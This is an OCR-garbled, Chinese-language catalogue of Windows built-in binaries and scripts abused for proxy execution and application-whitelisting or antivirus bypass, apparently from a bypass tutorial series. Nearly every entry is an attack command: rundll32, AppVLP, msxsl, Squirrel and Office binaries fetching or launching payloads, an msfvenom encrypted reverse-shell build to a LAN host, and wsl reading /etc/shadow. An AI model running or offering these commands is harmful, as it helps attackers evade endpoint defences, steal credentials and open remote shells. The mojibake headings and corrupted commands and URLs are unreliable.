rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
rundl132.exe ieadvpack.dll,LaunchINFSection c:\test.inf,,1,

rundl132.exe ieadvpack.dll,RegisterOCX test.dll

rundll32.exe ieadvpack.dll,RegisterOCX calc.exe

rundl132 ieadvpack.dll, RegisterOCX "cmd.exe /c calc.exe"

SETH:

https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-

persistence-part-2/
https://twitter.com/pabraeken/status/991695411902599168

https://twitter.com/@rbz_/status/974472392012689408

leaframe.dl|



{EFEEA: Internet XIBSEE DLL, F3TEBIE HTML {3,
SAHERTE:

c:\windows\system32\ieframe.dll

c:\windows\syswow64\ieframe.dll
AT

rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
SE T

http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-
trampoline-part-5/

https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-

command-execution-and-lateral-movement/

https://twitter.com/bohops/status/997690405092290561

https://windows1@dll.nirsoft.net/ieframe_dll.html

Mshtml.dll
{FEHIRABE: Microsoft HTML Rt 2R
NFERE:

c:\windows\system32\mshtml.dll
c:\windows\syswow64\mshtml.d1l1l



4L S,
WiTAI:
rundl132.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"

SEFH

https://twitter.com/pabraeken/status/998567549670477824
https://windows1@dll.nirsoft.net/mshtml_dll.html

Pcwutl.dll
{EFEIRBA: Microsoft HTML fATFERE

SRR

c:\windows\system32\pcwutl.dll
c:\windows\syswow64\pcwutl.dll

PTG
rundl132.exe pcwutl.dll,LaunchApplication calc.exe
SEER

https://twitter.com/harréey/status/989617817849876488
https://windowsi0dll.nirsoft.net/pcwutl_dLL.html

stager.dll/stager.exe

SEFRAR :



& https://github.com/phackt/stager.dll

Se(8EMA msfvenom 4§ payload

msfvenom -p windows/x64/encrypted_shell reverse_tcp LHOST=192.168.1.24 LPORT=443 --encrypt aes256 --

encrypt-iv E7a0eCX76F0YzS4j --encrypt-key 6ASMkFslyhwXehNZw@48cF1VhlACzyyR -f ¢ -o
/tmp/meterpreter.c

& cpp IR payload, ZmiEaERK dil:

cl /LD /MT /EHa stager_dll_xx.cpp aes.cpp /Fe:stager.dll
BRI LARIRERL, exe

cl /MT /EHa stager_exe_xx.cpp aes.cpp /Fe:stager.exe
TEERHNH14T rundll32 stager.dll,Exec BpA],
SEERL

https://github.com/phackt/stager.dll
https://wh@ale.github.io/2019/01/23/2019-1-23-%E5%90%8E%E6%B8%97%E9%80%8F%EB%AF%RA6LEBLATHA3/

Setupapi.dil
{SEFAWAE: Windows i AR FRimieiE]

SAHERAE:


https://github.com/phackt/stager.dll

c:\windows\system32\setupapi.dll

c:\windows\syswow64\setupapi.dll

HPATIR:

rundl132.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\Tools\shady.inf
SETH:

https://github.com/huntresslabs/evading-autoruns

https://twitter.com/pabraeken/status/994742106852941825

https://windowsi@dll.nirsoft.net/setupapi_dLLl.html

Shdocvw.dll
{SEFBAR
shdocvw.dll 23 Windows [z FFE s INERE S FOR 28 15 ErE R iE SR

SAHERIZ:

c:\windows\system32\shdocvw.dl1l

c:\windows\syswow64\shdocvw.d1ll
/[L= >,
HAT7A0:
rundl132.exe shdocvw.dll,OpenURL "C:\test\calc.url"

SETRL



http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-

trampoline-part-5/

https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-

command-execution-and-lateral-movement/

https://twitter.com/bohops/status/997690405092290561

https://windows10dll.nirsoft.net/shdocvw_dll.html

Shell32.dll

{EFinBA: BRFESH shell32.dIl R1FHTE Windows\System32 RFEXAKTHIEEX, &
BEATRAELRRFRFIETENEEN, MTREEEETRAEXREE, FIEHBR T
NEWAPXZE R THERMEN, ERNEENEFHENRGITEEEERFRA.

SRR

c:\windows\system32\shell32.d11
c:\windows\syswow64\shell32.d11l

HPATIR:

rundl132.exe shell32.dll,Control_RunDLL payload.dll
SEHM
https://twitter.com/Hexacorn/status/885258886428725250

https://twitter.com/pabraeken/status/991768766898941953

h++nc+ / /+uit+tan ram/mat+ifoactatinn/ctatiice /7748740401791 9QK27A



HLLPD e/ / LWLLLTT « LU/ INIALLLITOLALLVII/ DLALUD/ /1 /VI/TIFTULLOTOI I/ U

https://twitter.com/KyleHanslovan/status/905189665120149506

https://windows10dll.nirsoft.net/shell32_dll.html

Syssetup.dll
{EAAE: Windows NT RE%tZeE dIl 3714,

SAHERIZ:

c:\windows\system32\syssetup.dll

c:\windows\syswow64\syssetup.dll
HAT7aE0:

rundl132.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\test\shady.inf
rundl132 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf

SERR
https://twitter.com/pabraeken/status/994392481927258113

https://twitter.com/harr@ey/status/975350238184697857

https://twitter.com/bohops/status/975549525938135040

https://windows1@dll.nirsoft.net/syssetup_dll.html

/1. A A/~ TEOI == /A A AN



HI® VIS F=E1F7 (L1 7T)

Appvlp.exe

{EFRIAA :
Microsoft Office 2016 MTHIRN FEFE R SE AR,

SAHERTE:

C:\Program Files\Microsoft Office\root\client\appvlp.exe
C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe

T A

AppVLP.exe \\webdav\calc.bat
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject

shell.application;$e.ShellExecute('calc.exe',"'", , 'open', 1)"
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject
excel.application;$e.RegisterXLL('\\webdav\x1ll poc.x11')"

SEERL
https://github.com/MoooKitty/Code-Execution

https://twitter.com/moo_hax/status/892388990686347264

https://enigmaox3.net/2018/06/11/the-tale-of-settingcontent-ms-files/

https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-
office-defenses/



Bginfo.exe
fSE R -

Bginfo & SysInternals E4RISLARER, BRLUERESRTEERTHEIRIRSER.

MiTH=:

bginfo.exe bginfo.bgi /popup /nolicprompt
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt

SETH:

https://pentestlab.blog/2017/66/05/applocker-bypass-bginfo/
https://github.com/3gstudent/bgi-creater

Cdb.exe

Gz a2

Windows Debug TESHFHN—NMERXTE.
SRR

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe

T A

cdb.exe -cf x64_calc.wds -o notepad.exe



SEERL
http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-Lline-options

https://gist.github.com/mattifestation/94e2bba9e3felacOa433b5c3e6bdobda

csi.exe
{5 FRSER :
1 dnx —#¥ csi #0 resi ERTLAAT C# 3, (B csi 232EINRIM resi A2
SRR

c:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csi.exe
c:\Program Files (x86)\Microsoft Web Tools\Packages\Microsoft.Net.Compilers.X.Y.Z\tools\csi.exe

PATA0:
rcs.exe bypass.csx
SERR

https://web.archive.org/web/20161008143428/http://subt@x10.blogspot.com/2016/09/application-

whitelisting-bypass-csiexe.html
https://enigmadx3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

Davtnnlclaiinrhar ava



{ERRAA: VS/VScode &5 |INH—1MER.
SRR

c:\windows\system32\devtoolslauncher.exe
PATA:

devtoolslauncher.exe LaunchForDeploy [PATH_TO_BIN] "argument here" test
devtoolslauncher.exe LaunchForDebug [PATH_TO_BIN] "argument here" test

SETHL

https://twitter.com/_felamos/status/1179811992841797632

dnx.exe
EJzSntzR

NET Execution Environment(DNX) 2—* SDK fliz{7RIAE, EE82ENREECEIIE
17. net R FRFERRAVEHE, BILAMYT C# XAS

waTHAC:
dnx.exe consoleapp
SEETRL

https://enigma@x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/



Dotnet.exe

{SEFABA:

NET Framework G55 | \IIEF
BRI

C:\Program Files\dotnet\dotnet.exe
HAT7a0:

dotnet.exe [PATH_TO_DLL]

https://twitter.com/_felamos/status/1204705548668555264

Dxcap.exe

{SEFFRE -

Visual Studio FE®HI DirectX i2BrEit TH.
SRR

C:\Windows\System32\dxcap.exe
C:\Windows\SysWOW64\dxcap.exe

PiTA:



https://twitter.com/harréey/status/992008180904419328
SERR

Dxcap.exe -c C:\Windows\System32\notepad.exe

Excel.exe

{EEFEIBE: Microsoft Office FHZFER7.
SAERRAR:

:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Officel6\Excel.exe
:\Program Files\Microsoft Office 16\ClientX64\Root\Officel6\Excel.exe
:\Program Files (x86)\Microsoft Office\Officel6\Excel.exe

:\Program Files\Microsoft Office\Officel6\Excel.exe

:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Officel5\Excel.exe
:\Program Files\Microsoft Office 15\ClientX64\Root\Officel5\Excel.exe
:\Program Files (x86)\Microsoft Office\Officel5\Excel.exe

:\Program Files\Microsoft Office\Officel5\Excel.exe

:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Officel4\Excel.exe
:\Program Files\Microsoft Office 14\ClientX64\Root\Officel4\Excel.exe
:\Program Files (x86)\Microsoft Office\Officel4\Excel.exe

:\Program Files\Microsoft Office\Officel4\Excel.exe

:\Program Files (x86)\Microsoft Office\Officel2\Excel.exe

:\Program Files\Microsoft Office\Officel2\Excel.exe

:\Program Files\Microsoft Office\Officel2\Excel.exe

O o 0O 0 0O 0O 00O 0O 60O 60O 60O 60 00

b/ >,
HPATIR:
Excel.exe http://192.168.1.10/TeamsAddinLoader.dlL

L =7 SFrraisd



https://twitter.com/reegun2l/status/1150032506504151040
https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-

office-binaries-202d02db7191

Mftrace.exe
EF3i5BE: Media Foundation Tools BUiRI=HE4ERTE.

SAHERIZ:

C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x86
C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x64
C:\Program Files (x86)\Windows Kits\10\bin\x86
C:\Program Files (x86)\Windows Kits\10\bin\x64

7 = W
Mftrace.exe cmd.exe
SELH

https://twitter.com/0rbz_/status/988911181422186496

msxsl.exe
{SEFBIAR

FR1E Microsoft B msxsl.exe 656172, FAFEEHE(ER Microsoft XSL 4MEEEITH ST



TREEFRIES (XSL) . BR, XAPNTHEERTLIARNITESRY JavaScript ({UBFH 5T
Rz FRfERF BB BRI,

AT

msxsl.exe customers.xml script.xsl

msxls.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-
AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-
AppLocker/master/shellcode.xml

SEERL
https://pentestlab.blog/2017/67/06/applocker-bypass-msxsl/

https://twitter.com/subTee/status/877616321747271680

https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker

Powerpnt.exe
A Microsoft Office f ppt T2/,
HERTR:

:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Officel6\Powerpnt.exe
:\Program Files\Microsoft Office 16\ClientX64\Root\Officel6\Powerpnt.exe
:\Program Files (x86)\Microsoft Office\Officel6\Powerpnt.exe

:\Program Files\Microsoft Office\Officel6\Powerpnt.exe

:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Officel5\Powerpnt.exe
:\Program Files\Microsoft Office 15\ClientX64\Root\Officel5\Powerpnt.exe
:\Program Files (x86)\Microsoft Office\Officel5\Powerpnt.exe

O 0o 0 N0 N0 N0 N



:\Program Files\Microsoft Office\Officel5\Powerpnt.exe

:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Officel4d\Powerpnt.exe
:\Program Files\Microsoft Office 14\ClientX64\Root\Officeld\Powerpnt.exe
:\Program Files (x86)\Microsoft Office\Officeld\Powerpnt.exe

:\Program Files\Microsoft Office\Officel4\Powerpnt.exe

0O o0 0 N0 N0

:\Program Files (x86)\Microsoft Office\Officel2\Powerpnt.exe

C:\Program Files\Microsoft Office\Officel2\Powerpnt.exe

(@}

:\Program Files\Microsoft Office\Officel2\Powerpnt.exe
HFATIR:
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.d11"
SEZH:

https://twitter.com/reegun2l/status/1150032506504151040
https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-

office-binaries-202d02db7191

rcsi.exe
{SEFBAR

Visual Studio KiTsRIIERZERaSITHRE, 1 dnx —#F resi aTLAHT C# 83, resi IERE
ﬁo

PATAI:
rcsi.exe bypass.csx

SETRL



https://web.archive.org/web/20161008143428/http://subt@x10.blogspot.com/2016/09/application-
whitelisting-bypass-csiexe.html
https://enigmabx3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

Sgldumper.exe
{#EAEEEA: Microsoft SQL FitHsBIEIHSLRTER.
BRI

C:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exe
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS
OLEDB\140\SQLDumper.exe

HPATIR:

sqldumper.exe 464 0 0x0110

SETHL
https://twitter.com/countuponsec/status/910969424215232518

https://twitter.com/countuponsec/status/910977826853068800

https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-

dump-file-in-sql-se

Sqlps.exe



{FERRER: Microsoft SQL Server /=AY TF M0 SQL Server cmdlet 9T &,
NFERE:

C:\Program files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exe
C:\Program files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exe

C:\Program files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exe
C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe

PATAI:
Sqlps.exe -noprofile
SEHEL

https://twitter.com/bryon_/status/975835709587075072

https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017

SQLToolsPS.exe
{EFFRAR :

Microsoft SQL fymsAIAFI0E SQL Server cmdlts BITHE, #1X sqlps.exe, SQL Server
2016 + &1 sqlps.exe HIfg44E,

SRR

C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe

T



SQLToolsPS.exe -noprofile -command Start-Process calc.exe
SEERL

https://twitter.com/pabraeken/status/993298228840992768

https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017

Squirrel.exe

{SEFEAA

Microsoft Teams L&EAI—8E0%, H4T squirrel Z{EGE,
SRR
%localappdata%\Microsoft\Teams\current\Squirrel.exe
T

squirrel.exe --download [url to package]
squirrel.exe --update [url to package]

squirrel.exe --updateRoolback=[url to package]
SERR
https://www. ¥*¥***** com/watch?v=rOP3hnkj71s

https://twitter.com/reegun2l/status/1144182772623269889

http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/

httnece / fmadiiim cram /Dunanmiin lniimatr cAandnnal tmncantnalTAad Aandinadntr Tandes +Aa Aanhitnang ~Aada Avacna+S An



HLLPS ./ /meulLull. CON WHEEgull/ 1HUEBEL"OSYULITT'EL-UIILUIILTITULLICUTCIIUPULIILO - 1lEduS> - Lu-di'vlLidi'y“Luuc-cXAcLULLUII=

80c9df51cf12

https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-
execution-b55295144b56

Tracker.exe

{&EFEERA: Visual studio F9—2B4%. E=E 1028 F3A42hfy TrackerULdll, TTLAFFE— Nt
EFHEAN dIl, AL ATLAEREIETT exe M4,

MiTA=:

Tracker.exe /c "C:\Windows\System32\calc.exe"

Tracker.exe /d .\calc.dll /c C:\Windows\write.exe
SEHH:

https://twitter.com/subTee/status/793151392185589760
https://attack.mitre.org/wiki/Execution

Update.exe

{SEFAI5ERR -

Microsoft Teams Z&A9—E8, EFRINEELEAY Nuget/squirrel {46,
XREAE:

%localappdata’%\Microsoft\Teams\update.exe



AT

Update.exe --download [url to package]
Update.exe --update [url to package]
Update.exe --updateRollback=[url to package]

Update.exe --processStart payload.exe --process-start-args "whatever args”
SERR

https://www. ¥****** com/watch?v=rOP3hnkj71s
https://twitter.com/reegun2l/status/1144182772623269889
https://twitter.com/MrUnlked3r/status/1143928885211537408

http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/

https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-

80c9df51cf12

https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-
execution-b55295144b56

vsjitdebugger.exe
(SRR
Visual Studio =Y jit i TE.,

SRR



c:\windows\system32\vsjitdebugger.exe
[L= S
HATH:
Vsjitdebugger.exe calc.exe
SETH

https://twitter.com/pabraeken/status/990758590020452353

Wsl.exe

(SRR

M Windows #5<171=1T Linux TE.
SRR

C:\Windows\System32\ws1.exe

waT7AC:

wsl.exe -e /mnt/c/Windows/System32/calc.exe
wsl.exe -u root -e cat /etc/shadow

SETH:

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-

control/microsoft-recommended-block-rules



RIS (4 )

CL_Mutexverifiers.ps1

(S FRSER :
£\ PowerShell Diagnostic CL_Mutexverifiers B4, A& runAfterCancelProcess 5
SR HUTI M,

SAHERIZ:

:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.psl

:\Windows\diagnostics\system\Audio\CL_Mutexverifiers.psl

C
C
C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.psl
C:\Windows\diagnostics\system\Video\CL_Mutexverifiers.psl

C

:\Windows\diagnostics\system\Speech\CL_Mutexverifiers.psl
AT

. C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.psl \nrunAfterCancelProcess calc.psl
SEEH:

https://twitter.com/pabraeken/status/995111125447577600

CL Invocation.psT
{EFRARR

windows BwRNIZHT TR, BILIAIT exe 34



SAHERIZ:

C:\Windows\diagnostics\system\AERO\CL_Invocation.psl
C:\Windows\diagnostics\system\Audio\CL_Invocation.psl

C:\Windows\diagnostics\system\WindowsUpdate\CL_Invocation.psl

MiTH=:

PS C:\> . C:\Windows\diagnostics\system\AERO\CL_Invocation.psl
PS C:\> SyncInvoke cmd.exe "/c ipconfig > E:\ip.txt"

SETH:

https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/

Manage-bde.wsf
SRR -

FIF&1% BitLocker HIRIZ.
SRR
C:\Windows\System32\manage-bde.wsf
HAT7a0:

set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe

c:\windows\system32\manage-bde.wsf



https://gist.github.com/bohops/735edb7494felbd1010d67823842b712
https://twitter.com/bohops/status/980659399495741441

Pester.bat
{FEIRBE: 5 app-v F0AMHIRSZSHERAIFHIA,

SAHERIZ:

c:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat
c:\Program Files\WindowsPowerShell\Modules\Pester\*\bin\Pester.bat

PATAR:
Pester.bat [/help|?|-?|/?] "$null; notepad"

SEFH:
https://twitter.com/Oddvarmoe/status/993383596244258816
A

Jaic

BREFINENRBXIETE: https://github.com/TideSec/BypassAntiVirus
AZRRATRES, BaZBERISR~~


https://twitter.com/Oddvarmoe/status/993383596244258816
https://github.com/TideSec/BypassAntiVirus
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